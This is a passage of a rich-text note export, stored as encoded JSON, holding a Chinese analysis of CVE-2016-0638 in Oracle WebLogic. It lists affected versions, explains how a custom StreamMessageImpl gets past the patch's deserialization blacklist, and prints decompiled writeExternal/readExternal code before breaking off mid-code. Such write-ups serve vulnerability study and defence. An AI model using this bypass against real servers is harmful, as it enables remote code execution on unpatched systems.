34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmUr-1673851524464&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxU3-1673851524462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhbx-1673851655912&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XP2-1673851655913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jK6a-1673851655914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4O3m-1673851655915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EGx2-1673851655916&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kTYP-1673851655917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNc7-1673851655919&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z4CH-1673851655920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fg9y-1673857573620&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McGd-1673857573619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBqe-1673851640393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MIYo-1673851640391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中我们提到，补丁对&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;三个类中的反序列化过程进行了黑名单过滤，而在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.jms.common.StreamMessageImpl&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;readExternal&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;方法中同样存在readObject操作:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MY5N-1673852393554&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5096/WEBRESOURCEdf79a09b7d85458cba7ceeb51b8a92e2&#34;,&#34;width&#34;:598,&#34;height&#34;:380},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcNb-1673852423076&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdEM-1673852423077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们需自定义实现一个StreamMessageImpl类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYOq-1673852750724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DadL-1673852750722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1DL-1673852728559&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpzO-1673852728514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V0gk-1673852728513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tP6G-1673852862577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCs3-1673852862576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzgM-1673852862579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxJA-1673852862578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var3 = Integer.MAX_VALUE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0PZ-1673852862581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5fL-1673852862580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7ej-1673852862583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJNa-1673852862582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpM7-1673852862585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwGd-1673852862584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0bx-1673852862587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC2G-1673852862586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1e0D-1673852862589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p0wX-1673852862588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;446g-1673852862591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UkIo-1673852862590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWqu-1673852862593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2M6-1673852862592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiYS-1673852862595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tn9r-1673852862594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;toOE-1673852862597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vm2E-1673852862596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uHzz-1673852862599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6fB-1673852862598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6R8V-1673852862601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trIs-1673852862600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSat-1673852862603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkjy-1673852862602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OX0Y-1673852862605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYrW-1673852862604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CyRR-1673852862608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBHN-1673852862607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Kc-1673852862610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXZN-1673852862609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIfb-1673852862612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2wt-1673852862611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wfrk-1673852862614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s9wy-1673852862613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hKvx-1673852862616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;liMy-1673852862615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hV5y-1673852862618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Et9-1673852862617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7I-1673852862620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjya-1673852862619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Demk-1673852862622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1cJ-1673852862621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLlK-1673852862624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rDxj-1673852862623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSDg-1673852862626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8XKR-1673852862625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pX13-1673852862628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rcng-1673852862627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mVF-1673852862630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YnMH-1673852862629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDAT-1673852862632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ye7r-1673852862631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gU7N-1673852862634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OFRG-1673852862633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5wO-1673852862636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DbLt-1673852862635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8UI-1673852862638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GU2u-1673852862637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3II-1673852862640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWEE-1673852862639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxsK-1673852862642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fzyx-1673852862641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCB4-1673852862644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLJj-1673852862643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b0Gy-1673852862646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZTX-1673852862645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UO3U-1673852862648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jiOU-1673852862647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CORg-1673852862650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g9D1-1673852862649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npat-1673852862652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ju-1673852862651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hk13-1673852862654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FCZ-1673852862653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCvc-1673852862656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cqqo-1673852862655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ow1e-1673852862658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6hI1-1673852862657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LfR-1673852862660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJGV-1673852862659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ejf5-1673852862662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6Y7-1673852862661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kfvf-1673852862664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BMA-1673852862663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWzn-1673852862666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Sa-1673852862665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdKt-1673852862668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DDRv-1673852862667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GnA9-1673852863122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H0RE-1673852863121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6pP-1673852863296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0pX-1673852863295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZ5k-1673852880318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en7O-1673852880317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JnUg-1673852880320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNqw-1673852880319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var2 = var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lFar-1673852880322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QVQO-1673852880321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hGTa-1673852880324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nk95-1673852880323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5WF-1673852880326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hImJ-1673852880325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch (var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTyQ-1673852880328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vpob-1673852880327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 